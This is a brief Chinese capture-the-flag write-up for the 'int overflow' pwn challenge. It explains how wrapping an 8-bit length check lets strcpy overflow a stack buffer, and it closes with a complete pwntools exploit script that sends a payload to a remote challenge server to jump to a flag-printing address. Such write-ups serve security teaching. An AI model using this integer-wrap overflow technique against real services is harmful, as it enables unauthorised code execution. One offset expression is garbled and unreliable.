攻防世界-pwn-int overflow

检查保护机制

main函数没有问题

login函数

check_password函数
可以看到check_password函数有一个strcpy函数,把输入的字符串(s)复制给dest,这就提供了溢出的可能性。
想要进入该函数,必须满足s的长度为4~8,而v3可表示范围是0 ~ 255,所以如果考虑溢出,v3需要在259 ~ 263范围内。
接着看一下dest在栈中位置,dest到函数返回值r距离0x(4-(-14))

最后字符串中找到catflag地址0x0804868B

exp:

from pwn import *
r = remote("220.249.52.133","36329")
payload = 'a' * (0x14+4) + p32(0x0804868B) + 'a' * (262-0x14-4-4)
r.recvuntil("ce:")
r.sendline("1")
r.recvuntil("me:")
r.sendline("12")
r.recvuntil("wd:")
r.sendline(payload)
r.interactive()                      
原文地址:https://www.cnblogs.com/pluie/p/13099896.html